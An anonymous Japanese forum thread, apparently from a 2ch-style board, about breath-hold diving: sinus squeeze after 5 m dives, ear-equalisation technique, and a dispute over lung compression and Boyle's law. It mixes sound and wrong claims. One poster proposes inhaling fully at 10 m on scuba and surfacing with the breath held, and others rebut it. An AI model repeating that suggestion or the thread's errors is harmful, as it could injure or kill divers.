5メートルの水深を頻繁に潜る時、起こり得る身体の異常は？m(_ _)m御ねげーしますだ

いや、特には思いつかない。
水温が25℃を切る程度に冷たかったらキン○マが縮み上がるくらいかな？

次の日に筋肉痛。

背中の日焼け。

耳の奥に水が入る程度。

あわび、サザエ、とこぶし大漁で、おなかィッパイ。

サイナス スクイズしたよ

何故気になるのかを、教えてポ　
>911 5メートルの水深を頻繁に潜る時、起こり得る身体の異常は？

m(_ _)m御にげーさびら

彼女たんが　頭いたいみたく　こまった

酸欠かな？

呼吸は深くゆっくりとするように心がけよう。
水の中ではゆっくり大きくが基本です。

お大事に。

>>919
ｶﾜ(･∀･)ｲｲ!！

921よ　ありがとたん　彼女病院いって診たら917の病名だったらしいよ
耳ぬきぬきが得意でないから心配ポ

耳抜ききちんとできてないのに5ｍも潜ったんか。
そりゃ無謀だったな。
ジャックナイフ後に最初のワンストロークした頃には
耳抜き始めないと俺は耐えられない。

>>922
垂直じゃなくて、斜めに潜るようにすると耳抜きが比較的簡単だよ。
じょじょに慣れていくのがいいと思うがなぁ。

しかし、高樹沙耶にはびっくりした。
これで素潜り人気が沸騰、なんてことにはならないか･･･。

あげちまった。新スレよろすく。

>>920
素潜りで水の中での呼吸はあまりしないと思う・・・

揚げ足とんなよ（ｗ
通じるんだから

深潜りする時って、目線はどこを向いていますか？
海底の方向？それとも顎を引いて、むしろ自分のお腹のほう？
コンテストの写真とか見るとほとんど目線は海底方向だよね。
抵抗が大きくなってなんらかのロスにならないのかなと思いました。

危険回避や前方注意なんかのためにはもちろん目線は進行方向にというのはあるんだろうけれど。
最近、自己記録出す時はもっぱら顎引いて潜ってます。
何気に耳抜きもし易いような。

あともう一つ、耳抜きするとき以外に腕はばんざいしてますか？気を付けの姿勢ですか？

鼻つまみながらダイコンみてます。
ハタから見ると拝んでいるように見えるそうです。

ズーット前の耳抜きへのレス
鼻を摘まずに耳抜きをするってすごいね。
水中で鼻を摘んだ耳抜きをするとキュッ、プスゥーって感じがしますよね？
鼻を摘まずに耳抜きが出来る人も、水中でプスゥって音が感じられるのでしょうか？
陸上では、あくびをした時、耳管が開くように口を開けなくてもできるのですけど、
水中になるとできなんだな〜･･･、耳の中に水が入ってくるし・・・耳はちゃんと
掃除してるのにね。
鼻を摘まずに耳抜きができる方、たとえるとしたら陸上で抜くとどんな感じ？
音とか感覚とかでいいので教えて〜。

ズビュルッとかドピュッて感じかなあ。

>>931
なんか違う音のような…

じゃあ、あくびの感覚、唾を飲む感覚とは全然違いますね？
他の方の方の意見も聞いてみたいです。

>>933
タンクを背負えば、あくびの感覚、唾を飲む感覚で耳抜きできるよ。

>>930
私はあごを前に出す感じにすると、耳管を開けっ放しにできます。
そうすると潜っていきながらでも耳が抜けっぱなしになるんで、
あえて耳抜きをするという感じはなくなります。楽。
たまに抜きたりないときに、ふんっと力を入れますが、
そうするとぷすーっと抜けます。
鼻つまむのといっしょだと思いますよ。

>>935
それってスクーバでの話しだろ！

素潜りじゃ耳管を開けっ放しにしただけじゃ絶対に抜けないぜ。
外からの圧力(水圧)の方が圧倒的に強いからな。

スクーバなら外からの圧力(水圧)と体内の圧力(空気圧)がほぼ均等
なので耳管を開けっ放しで抜けるだろうが・・

じゃあやっぱり、あくびをした時に耳官が開く感覚では、
フリーダイビングでは抜けないんですね？
難しいっすね！鼻を摘まずにすんだら、どれだけフォームが
安定するか…って考えたらすっごく魅力ある。
どうにかして、できるようになりたいな〜。

知人のフリーダイバーの話では、
水面で息を吸うときに、耳管までいっぱいに空気を入れるんだそうな。
その時は、空気を”食べる”ように吸うんだと。うまく言葉で説明できんが・・・。
そうすると、耳が勝手に抜けるらしい。

海で試してみたけど、やっぱりうまくいかなかった。

>>936
絶対とか言ってるけど、素潜りでも抜ける人は居るのよ。
それにスクーバでも素潜りでも体内と体外の圧力に差は無いです。
（肺のスクイズ始まったら圧力は違ってくるけど・・・）
君の肺が水深によって潰れたりしない（体積が変わらない）なら
話しは別だけどね。

>>939
君の肺は風船のように水圧に応じて膨らんだり縮んだりするのか？
素潜り＆スキューバの両刀派が声をそろえて素潜りの耳抜きが難しいと何故言うのか？
小一時間問い詰めたいよ。

>それにスクーバでも素潜りでも体内と体外の圧力に差は無いです。

これは信じられないな。
スクーバならレギュレーターのファーストステージが水圧と空気圧を調整
するので"体内と体外の圧力に差は無い"でいいと思うが、素潜りで体内
の圧力を上げるには肺が縮むしかないんだよね。
水深0mで1気圧、水深10mで2気圧になるから、理論上は水深10mで肺の
大きさが陸上の1/2にならないと体内と体外の圧力の均等は取れないん
だよ。
肺を1/2も縮められる人は、胸骨や肋骨が無い特異な人しか考えられない。

>>940
>君の肺は風船のように水圧に応じて膨らんだり縮んだりするのか？
普通の人間なので膨らんだり縮んだりしちゃいます。
筋肉とか弾力等で100%比例はしないが、-10ｍで2気圧：体積１/2
-20ｍで3気圧：体積１/3となるのが普通だよ。
それぞれの深さで均衡状態を保つわけだから、内外で圧力の差は無しです。
これでも信じないのなら、スクーバで-10mで思いっきり息を吸い、
息を止めたまま水面まで浮上してみてください。
たぶん肺が膨らむのが分かりますよ。

耳抜き難しいというのは人それぞれ。
鋼の肺を持つ君には理解不可能だと思うよ。
問い詰めたところで時間の無駄です。
君はボイルの法則でも勉強してください。

>>941
>肺を1/2も縮められる人は、胸骨や肋骨が無い特異な人しか考えられない。
上にも書いたけど、そのまま体積に比例することは無くても、
体積が減る+弾力も加わり均衡状態になります。
スクーバで空気を足したから調整出来てる。空気を足せない素潜りは調整できない
とかではなく、素潜り自体肺が収縮することで調整できているのです。
均衡状態が保てないと、そのまま収縮が止まりません。

>>940
君の肺は風船のように水圧に応じて膨らんだり縮んだりするのか？
素潜りのような息こらえ潜水では、ボイルの法則によって膨らんだり縮んだりします。
てゆうか普通に呼吸してるときも肺は膨らんだり縮んだりしてるよね。

>上にも書いたけど、そのまま体積に比例することは無くても、
>体積が減る+弾力も加わり均衡状態になります。
>スクーバで空気を足したから調整出来てる。空気を足せない素潜りは調整できない
>とかではなく、素潜り自体肺が収縮することで調整できているのです。
>均衡状態が保てないと、そのまま収縮が止まりません。

これはわかるよ。
でもこれなら　水圧＝体内の空気圧+体の弾力　になるから、耳抜きはつらいよね。
耳管を開けただけじゃ抜けないってことです。

スクーバならレギュレータの調整で、水圧＝体内の空気圧　になるから耳抜きはやり
やすい。

もたもたしてたら942サンに先越されました。
スクーバで-10mで思いっきり息を吸い、
息を止めたまま水面まで浮上してみてください。
ぜひ体験してみてください。死んじゃうから1回しかできないけど（w

なんだか、おめでたいヤシが多いな。
水深に応じて肺がちゃんと縮んでくれたら、誰も耳抜きで苦労しないっつーの！

そのまま水圧＝体内の空気圧+体の弾力、体の弾力は+にも-にもなると思います。
横隔膜などで意識せずに圧を作り出す事は出来るのです。
（息を止めたまま横隔膜を動かす要領です。）
実際、肺がスクイズを起こさない限りプラスの圧を作ることは簡単です。
起こしても喉の筋肉を使って口に空気を無理やり引っ張り口内で
プラスの圧を作り耳抜きしたりもできます。

ID無いとｼﾞｻｸｼﾞｴﾝ(･∀･)みたいだな。。

>>947
凄い凄い！　キャハハ
普通の人は横隔膜なんか動かせねーの！
横隔膜は自立神経で動いとるから、ヨーガで十年くらい鍛えれば動かせるらしいがな。
そんな特異な事を一般論みたいに言うな！

>>947
呼吸の要領で横隔膜動かせたりしないのか！？
息を止めたり、意識して呼吸が出来ないのか！？

肺を動かして呼吸しているとでも？

肺のスクイズってど〜ゆこと？おしえてくらはい。

>>942
>これでも信じないのなら、スクーバで-10mで思いっきり息を吸い、
>息を止めたまま水面まで浮上してみてください。
>たぶん肺が膨らむのが分かりますよ。

をいをい、危ないこというなよ。940が死んじまう。

複式呼吸の出来ないヤシがいるスレはココですか？